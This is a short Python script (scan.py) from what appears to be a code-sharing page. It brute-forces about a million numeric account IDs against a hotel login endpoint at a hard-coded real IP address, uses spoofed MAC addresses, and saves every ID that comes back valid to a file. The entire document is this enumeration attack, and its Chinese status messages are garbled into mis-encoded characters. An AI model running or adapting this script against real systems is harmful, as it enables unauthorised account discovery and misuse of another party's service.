learning_py / scan.py
magicluweibo's picture
Upload scan.py
3799485
raw
history blame contribute delete
960 Bytes
import requests
import json
import time
class tw_hotel():
def __init__(self):
pass
def scan(self,username,host,port):
url = f'http://{host}:{port}/HSAndroidLogin.ecgi?ty=json&mac_address1=02:00:00:00:00:00&mac_address2=08:00:27:41:01:20&net_account={username}&opentype=0&app_ver=362&app_type=MqPlayer'
resp = requests.get(url=url)
if resp.text.startswith('{"Result"'):
print(username + 'ๆœ‰ๆ•ˆๆœ‰ๆ•ˆๆœ‰ๆ•ˆๆœ‰ๆ•ˆๆœ‰ๆ•ˆ')
with open(f'{username}.txt', 'w') as f:
f.write(username)
else:
print(username + 'ๆ— ๆ•ˆ')
print(resp.text)
pass
if __name__ == '__main__':
a = tw_hotel()
host = '59.125.210.231'
port = '8014'
for i in range(50000000000,50000999999):
username = str(i)
try:
a.scan(username=username,host=host,port=port)
except:
print(username + '่ฎฟ้—ฎๅ‡บ้”™')